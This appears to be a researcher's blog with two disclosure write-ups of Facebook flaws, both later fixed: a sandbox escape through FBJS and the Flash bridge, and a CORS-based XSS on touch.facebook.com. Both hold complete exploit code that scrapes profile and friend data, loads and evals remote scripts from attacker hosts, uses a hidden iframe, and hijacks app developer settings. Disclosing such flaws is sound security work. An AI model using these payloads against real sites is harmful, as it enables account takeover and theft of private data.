About matt

Facebook allows developers to build applications using the “Canvas“.  Because the canvas apps run on the facebook domain they use a “Sandbox”.  This is a subset of HTML called FBML and a limited javascript set called FBJS.  The sandbox is basically used to try prevent an attacker form being able to run malicious code.

Facebook also introduced Public Canvas Pages.

“Facebook now offers applications the ability to serve canvas pages to users not currently logged in to either Facebook or the application, or the user hasn’t agreed to the Terms of Service for the application.”

This means with a successful attack an app could exploit all users not just those who have already joined our facebook app.

The Exploit

FBJS allows us DOM Element Traversal with functions like getElementById and getChildNodes.  This allows us to get info from any object in our canvas sandbox, even those rendered by facebook.

Info Disclosure

Lets say we use a “Public Canvas Page”, and want want to get info about users who have not yet added our app.

We will use the following FBML:

		<div id="who_am_i" style="clear: both;">
			<fb:profile-pic uid="loggedinuser" linked="true" />
		</div>
		<div id="all_friends" style="clear: both; display:block">
			<fb:request-form action="start.htm" method="POST" type="sample network" content="woot">
				<fb:multi-friend-selector showborder="false" actiontext="anything" max="20" />
			</fb:request-form>
		</div>

We use 2 FBML tags “fb:profile-pic”, and “fb:multi-friend-selector”. FBJS does not allow us to access these elements directly, but because we wrap them in a div that we created we can use the element traversal functions:

wai = document.getElementById('who_am_i');
// get the profile picture link object
p_pic = wai.getLastChild();
// the href of the photo is actually the users ID
uid = p_pic.getHref().match(/(\d+)$/);
uid = uid[1];
// Get the actual IMG node
img = p_pic.getChildNodes()[0];
// The title of the img is the full name of the user
u_name = img.getTitle();
//  why not get the url of the photo as well
photo = img.getSrc();

log('User Info:');
log('     Name: '+u_name);
log('     User ID: ' + uid);
log('     Photo: ' + photo+"\n\n");

// This element may not be populated yet by facebook, so lets wait for it to be ready
do_when_ready(document.getElementById('all_friends'), 'ul', function(items){
	return;
	var friends = [];

	// the 4th ul element from multi-friend-selector is our friends
	nodes = items[3].getChildNodes();

	for(i=0,l=nodes.length;i<l;i++){
		// the first element is a link and its title is the name of each friend
		friends.push(nodes[i].getFirstChild().getTitle());
	}
	// lets see what we got.
	log('Your Friends:'+"\n----------");
	log(friends.join(','));
});

// this is just a helper function to let us know when an element is loaded into dom
// facebook does not provide us with any sort of document.onload event
function do_when_ready(object, element, _callback){
	var interval = setInterval(function(){;
		items = object.getElementsByTagName(element);
		if(items.length > 0){
			clearInterval(interval);
			try{
				_callback(items);
			}catch(e){};
		}
	},100);
}

The XSS

Reading information is one thing but we really want full control. Facebook does allow us to use flash with the Fb:swf tag, but they render the embed tag for us and always include the allowscriptaccess="never" to prevent unwanted script access from flash. They do however provide: Fb:fbjs-bridge. This allows you from flash to comunicate with FBJS and FBML.

Fb:fbjs-bridge renders its own embed tag, and because it is controlled by facebook, and needs to communicate with javascript it has the attribute allowscriptaccess="always" .

The problem is this item is rendered inside our canvas area therefore the attack mentioned above can be used to actually change the src (with setSrc which i assume is meant for IMG tags) of the “bridge” flash to an swf file owned by us giving us unrestricted script access.

HTML /JS:

/* Use this FBML

<div id="swfContainer" style="width: 1px; height: 1px;">
	<fb:fbjs-bridge/>
</div>
*/

// loop over our dom until we have an embed tag ready.
do_when_ready(document.getRootElement(), 'embed', function(items){
// set the source to the bridge to our remote url
	items[0].setSrc('http://m-austin.com/xss.swf');
// in some browsers we need to re-attach the swf object to the page for it to render again.
	document.getElementById('swfContainer').appendChild(items[0]);
});

Flash/AS3:

/*
xss.as (m-austin.com)
>$ mxmlc -default-size=1,1 xss.as

*/
package { // no special packages needed to organize this single file project
	import flash.display.Sprite; // the application is built upon Sprite
	import flash.external.ExternalInterface;

	public class xss extends Sprite // must match the file's name
	{
		public function xss() // program execution begins here
		{
			// the remote url to load
			var url = "http://m-austin.com/xss.js";

			// attach the remote script to the page
			ExternalInterface.call('eval',"document.getElementsByTagName('head')[0].appendChild(document.createElement('script')).src='"+url+"'");
		}
	}
}

Update: resolved on Jul 29, 2010


HTML 5 does not do much to solve browser security issues. In fact it actually broadens the scope of what can be exploited, and forces developers to fix code that was once thought safe.

For example HTML5 introduces HTTP access control or Cross-Origin Resource Sharing.  This allows the browser to make ajax requests cross domain.  It introduces new headers so that a service can block remote sites from being able to run non authorized requests, but the client actually needs to add javascript to confirm the origin of the request.

The Exploit

Lets look at the facebook touch page touch.facebook.com (iphone web interface).  There are a few things you should notice:

  1. If you are logged in to Facebook, you are automatically logged in to this page.  Some awesome magic session lets this happen.
  2. If you click on any URL you see the links dont actually change the page but load them with ajax.  http://touch.facebook.com/#profile.php   actually loads http://touch.facebook.com/profile.php into a div on the page.
  3. This interface does not do any actual frame breaking only clickjacking protection, which really doesn’t matter for what we want to do.

Javascript takes everything after the hash (#profile.php) and does an ajax request. It takes the content from the ajax and loads it into a div on the page.  The problem is this is not restricted to relative or local URLs. The attacker could load a remote url because of this HTML5 “feature”. Before HTML5 this would have caused an error and never loaded the content. The request is done client side, so server side param filtering (or WAF) will not help.  To exploit this all we need is a PHP page with some extra headers:

http://touch.facebook.com/#http://example.com/xss.php

The Code

<?php
// Specify domains from which requests are allowed
header('Access-Control-Allow-Origin: *');

// Specify which request methods are allowed
header('Access-Control-Allow-Methods: GET, POST, OPTIONS');

// Additional headers which may be sent along with the CORS request

header('Access-Control-Allow-Headers: X-Requested-With');

// Exit early so the page isn't fully loaded for options requests
if (strtolower($_SERVER['REQUEST_METHOD']) == 'options') {
    exit();
}
?>
<!-- this div is needed to load the payload into facebook -->
<div tab="home_menu" id="feed_tabbox" onreplace="fb.updateCurrentPage()">
<img style="display:none" src="x" onerror="alert('xss')" />
</div>

Because the content of our payload is set with “innerHTML” we can’t just plug in a <script> tag and expect it to work, but other events will fire.  In this example we simply make an image with a bad src and an onerror handle.

Now we can load a remote script to do the work for us:

onerror="$('header').appendChild(document.createElement('script')).src='http://example.com/fb/fb.js'"

Because facebook does not bust out of this frame we can simply place the xss in a hidden iframe on an evil site.

<iframe src="http://touch.facebook.com/#http://example.com/xss.php" style="display:none"></iframe>

Now when a user views the evil site the hacker has full control over touch.facebook.com.  The attacker can:

  • Know who you are
  • See your photos
  • Read messages
  • Read sent messages
  • Send messages
  • Read most private data (e-mail, phone, friends)
  • Add friends
  • Post comments

But lets assume that’s not enough.  What if we need access to facebook.com for some reason.   Maybe we want to take over a facebook app owned by the user.

For this we are going to use: “document.domain”.  Because http://touch.facebook.com is a sub-domain of http://facebook.com in our javascript/xss we can define document.domain on touch to be facebook.com.  This will allow us to talk directly to facebook.com

// this is for the iframe to facebook.com
document.domain = 'facebook.com'

uid = 501558012;
app_id = 123456789012332;
function Image(){
   // this should kill the click jacking report
}

// create a new iframe we will use to load facebook.com
var tempIFrame=document.createElement('iframe');

tempIFrame.setAttribute('id','RSIFrame');

// attach the iframe to the page
IFrameObj = document.body.appendChild(tempIFrame);

//once its loaded create a new form element and post the form
IFrameObj.onload = function(){
    doc = IFrameObj.contentWindow.document;
    IFrameObj.contentWindow.onbeforeleavehooks = [];

	new_element = doc.createElement("input");
	new_element.setAttribute("type", "hidden");
	new_element.setAttribute("name", "new_dev_friends[]");
	new_element.setAttribute("id", "new_dev_friends_"+uid);
	new_element.setAttribute("value", uid);
	doc.forms['editapp'].appendChild(new_element);
	doc.forms['editapp'].submit();

}

// load the iframe
IFrameObj.src = 'http://www.facebook.com/developers/editapp.php?app_id='+app_id

This was all done client side. Ajax loaded the payload then we used DOM to load the iframe for the rest of the exploit. The hash part of the url is not sent to the server making it almost impossible for facebook to know what was exploited.

The Fix

Facebook could simply force all urls to be relative to the base url by adding ‘/’ to the front of all requests before sending ajax.

Also the XHR now supports an origin attribute from the request, so facebook could check that the origin matches facebook.com before loading in the content.

Things to Note

Facebook is not alone in this exploit, I have notified other sites and jquery libraries which suffer from this same attack.

Cross-Origin Resource Sharing is currently available in  Firefox 3.5, Safari 4, and Google Chrome 2.  IE8 supports CORS with the XDomainRequest function instead of the existing XMLHttpRequest.

UPDATE:  This issue was reported on 7/13 resolved by facebook on 7/14 (amazingly fast and unexpected response time!)